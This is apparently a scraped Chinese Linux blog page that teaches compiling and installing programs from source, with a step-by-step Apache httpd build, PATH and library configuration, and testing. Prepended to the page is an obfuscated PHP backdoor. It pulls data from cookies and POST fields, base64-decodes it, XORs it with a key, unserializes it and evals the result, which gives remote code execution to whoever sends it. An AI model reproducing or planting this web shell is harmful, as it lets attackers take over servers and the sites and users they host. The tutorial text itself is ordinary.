$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux软件包管理之程序包编译安装 | Linux运维部落

Linux软件包管理之程序包编译安装

程序包编译

程序包编译安装:

Application-VERSION-release.src.rpm–> 

    安装后,使用rpmbuild命令制作成二进制格式的rpm包,而后再安装

源代码–>预处理–>编译(gcc)–>汇编–>链接–>执行

源代码组织格式:

    多文件:文件中的代码之间,很可能存在跨文件依赖关系

    C、C++:make (项目管理器,configure –>Makefile.in –> makefile)

    java: maven

编译安装

C代码编译安装三步骤:

    1、./configure:

        (1) 通过选项传递参数,指定启用特性、安装路径等;执行时会参考用户的指定以及makefile.in文件生成makefile

        (2) 检查依赖到的外部环境

    2、make:根据makefile文件,构建应用程序

    3、make install:复制文件到相应路径

开发工具:

    autoconf: 生成configure脚本

    automake:生成Makefile.in

注意:安装前查看INSTALL,README

开源程序源代码的获取:

    官方自建站点:

        apache.org (ASF)

        mariadb.org

        …

    代码托管:

        SourceForge.net

        Github.com

        code.google.com

c/c++编译器: gcc(GNU C Complier)

编译C源代码:

    前提:提供开发工具及开发环境

        开发工具:make, gcc等

        开发环境:开发库,头文件

            glibc:标准库

    通过“包组”提供开发组件

        CentOS 7: "Development Tools",

        "Server Platform Development",

第一步:运行configure脚本

    选项:指定安装位置、指定启用的特性

    –help: 获取其支持使用的选项

选项分类:

    安装路径设定:

    –prefix=/PATH: 指定默认安装位置,默认为/usr/local/

    –sysconfdir=/PATH:配置文件安装位置

    System types:支持交叉编译

Optional Features: 可选特性

    –disable-FEATURE

    –enable-FEATURE[=ARG]

Optional Packages: 可选包,

    –with-PACKAGE[=ARG],依赖包

    –without-PACKAGE,禁用依赖关系

第二步:make

第三步:make install

安装后的配置:

(1) 二进制程序目录导入至PATH环境变量中;

    编辑文件/etc/profile.d/NAME.sh

        export PATH=/PATH/TO/BIN:$PATH

(2) 导入库文件路径

    编辑/etc/ld.so.conf.d/NAME.conf

        添加新的库文件所在目录至此文件中;

    让系统重新生成缓存:

        ldconfig[-v]

(3) 导入头文件

    基于链接的方式实现:

        ln -sv

(4) 导入帮助手册

    编辑/etc/man.config|man_db.conf文件

        添加一个MANPATH

示例:源码安装apache

安装apache,需要先安装包组的Development Tools

Linux软件包管理之程序包编译安装

grouplist命令可以查看到已经安装的包组

Linux软件包管理之程序包编译安装

接下来,需要下载apache相应的文件,我们首先安装lftp命令,默认没有安装

Linux软件包管理之程序包编译安装

apache的压缩包可以到apache.org官网下载,此处我们利用教室的资源,查找能安装的包

Linux软件包管理之程序包编译安装

找到这次实验用的httpd-2.2.29的包,并且用get命令下载到系统当前目录

Linux软件包管理之程序包编译安装

查看该包的路径,然后解压缩

Linux软件包管理之程序包编译安装

默认也是解压到当前路径

Linux软件包管理之程序包编译安装

cd进去httpd的目录里面,首先我们先要看一下安装说明,这是必须要看的,不然出现其他自己也不清楚的状况就不好了

Linux软件包管理之程序包编译安装

查看安装说明,确认一些基本的信息

Linux软件包管理之程序包编译安装

Linux软件包管理之程序包编译安装

再看看说明文件

Linux软件包管理之程序包编译安装

在说明文件里面,会大概介绍这个包大概有什么用之类

Linux软件包管理之程序包编译安装

看完说明文件以后,先不着急安装,先看看configure脚本的一些细节说明

Linux软件包管理之程序包编译安装

例如这里就介绍了软件的默认安装目录,如果不查看的话,可能我们都不知道文件放哪里呢

Linux软件包管理之程序包编译安装

看看其他关键文件,例如程序二进制文件和库文件等等,这里还有提示我们添加环境变量,等下安装完成这些都需要设置的

Linux软件包管理之程序包编译安装

查看系统安装关键的目录,以及目录的说明,安装的时候,这些目录的位置我们也换成自定义目录位置

Linux软件包管理之程序包编译安装支持交叉编译的文件

Linux软件包管理之程序包编译安装

还有其他许多功能开关,如果需要用的话需要好好看看这些功能的作用

Linux软件包管理之程序包编译安装

开始运行脚本进行安装的第一步了,首先是配置好一系列安装文件

Linux软件包管理之程序包编译安装

脚本运行完会多了一堆的配置文件

Linux软件包管理之程序包编译安装

运行make,开始编译

Linux软件包管理之程序包编译安装

我们可以查看/usr/local目录下面发现没有http2文件。是因为还没有开始安装

Linux软件包管理之程序包编译安装

运行make install,安装编译完的文件

Linux软件包管理之程序包编译安装

此时我们进去安装目录里面,看一下安装好的文件,因为第一次安装,不知道怎么使用的话,这个时候当然是查询帮助手册,但是我们发现没有帮助手册,不要慌,是因为系统没有查询帮助文件的路径

Linux软件包管理之程序包编译安装

CentOS 7下面编辑/etc/man_db.conf的文件。在下图的位置加上安装好后的apache的帮助文件路径

如果是CentOS 6的话,帮助文件的路径会在/etc/man.config里面

Linux软件包管理之程序包编译安装

此时已经可以查看apachectl的手册了

Linux软件包管理之程序包编译安装

为了方便我们直接运行apache的命令,我们把apache包的bin目录导入$PATH里面

在/etc/profile.d/下面创建http2.sh的脚本,然后运行该脚本,并且查看$PATH变量此时是否正确。脚本的信息如下图所示。Linux软件包管理之程序包编译安装

Linux软件包管理之程序包编译安装

此时我们把apache的库文件的路径配置也写入到/etc/ld.so.conf.d/目录下面,创建一个http2.conf的脚本,内容是apache的lib的路径,如下图所示。

Linux软件包管理之程序包编译安装

Linux软件包管理之程序包编译安装

库文件的配置文件写好以后,运行ldconfig -v的命令,把库文件加载到内存里面

Linux软件包管理之程序包编译安装

接下来把创建头文件的软链接目录到系统的/usr/include/目录下面

Linux软件包管理之程序包编译安装

为了配置测试,此处创建一个简单的index.html文件到apache目录下面

Linux软件包管理之程序包编译安装

以上都准备,我们可以开始运行apache服务器了,会发现有两行报错,这两个报错在此环境中是没有问题的,因为当前环境还没有配置web服务器的dns和ip等信息

Linux软件包管理之程序包编译安装

启动完apacche服务以后,我们用另外一台服务器链接测试看看

Linux软件包管理之程序包编译安装

此处正常情况下应该是正常运行,如果有发现报错的话,排错看看是哪里出了问题

Linux软件包管理之程序包编译安装

此时查看一下apache的端口,发现端口号80是开着的,应该httpd服务已经开启了

Linux软件包管理之程序包编译安装

测试一下10.1.156.72的连通性,发现可以ping通,然后运行telnet 10.1.156.72到apache的服务器,发现链接不到,可能是防火墙的问题了。

Linux软件包管理之程序包编译安装

登陆到apache的服务器上面,把iptables里面的信息都清空掉

Linux软件包管理之程序包编译安装

重新在156.68的机器上面运行links 10.1.156.72,发现可以登陆

Linux软件包管理之程序包编译安装

在电脑上面的浏览器测试一下,也没有问题,到此处实验已完毕。

Linux软件包管理之程序包编译安装

原创文章,作者:~微风~,如若转载,请注明出处:http://www.178linux.com/39677

(0)
上一篇 2016-08-25 10:09
下一篇 2016-08-25 10:09

相关推荐

  • http协议及httpd特性详解

    前言 随着互联网的迅猛发展和网络的普及,各类网站层出不穷,网站也成为企业宣传和实力展现的主要途径之一,说到网站就不得不说一下web服务了,现在比较流行的web服务还是当属Apache即httpd。本文将详解http协议及httpd的特性。 http协议详解 http协议 http: Hyper Text Transfer Protocol 超文本传输协议 传…

    Linux干货 2015-04-13
  • TCP 的那些事儿(下)

    这篇文章是下篇,所以如果你对TCP不熟悉的话,还请你先看看上篇《TCP的那些事儿(上)》 上篇中,我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP要解决一个很大的事,那就是要在一个网络根据不同的情况来动态调整自己的发包的速度,小则让自己的连接更稳定,大则让整个网络更稳定。在你阅读下篇之前,你需要做好准备,本篇文章有好些算法和策略,可能会引发你的…

    Linux干货 2016-08-15
  • 初识Linux

    本文对计算机组成及其功能、Linux的发行版、以及Linux的哲学思想进行了简单的介绍;同时对Linux系统中常用的基础命令以及如何获取帮助信息进行了详细的说明。

    2018-01-14
  • RAID功能介绍及其使用

    RAID功能介绍及其使用 独立硬盘冗余阵列(RAID, Redundant Array of Independent Disks),旧称廉价磁盘冗余阵列(Redundant Array of Inexpensive Disks),简称磁盘阵列。其基本思想就是把多个相对便宜的硬盘组合起来,成为一个硬盘阵列组,使性能达到甚至超过一个价格昂贵、容量巨大的硬盘。根据…

    Linux干货 2017-01-06
  • 图解LVM(逻辑卷管理)

    图解LVM 1 什么是LVM?为什么要使用LVM? lvm(Logical Volume Manager)逻辑卷管理,是一种更为灵活弹性的磁盘管理工具。 通过逻辑卷管理,能够解决传统磁盘管理管理困难的问题,比如灵活的增删磁盘容量,增删磁盘分区等。 LVM由pv(Physical Volume),vg(Volume Group),lv(logical volu…

    2017-04-23
  • sed 和 vim 的 用法

    处理文本的工具 三剑客之 sed sed是一种流编辑器,它一次处理一行内容。处理时,把 当前处理的行存储在临时缓冲区中,称为“模式空间”( pattern space),接着用sed命令处理缓冲区中的内容 ,处理完成后,把缓冲区的内容送往屏幕。接着处理下一 行,这样不断重复,直到文件末尾。文件内容并没有改变 ,除非你使用重定向存储输出。Sed主要用来自动编辑…

    Linux干货 2016-08-12

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-26 14:45

    文章对编译安装的知识总结的很全面,同时也通过示例演示编译httpd加深了自己对编译安装的理解。但是编译安装后的配置未能进行详细的演示,这里如果详细点,这便是一篇上等佳作,值得置顶推荐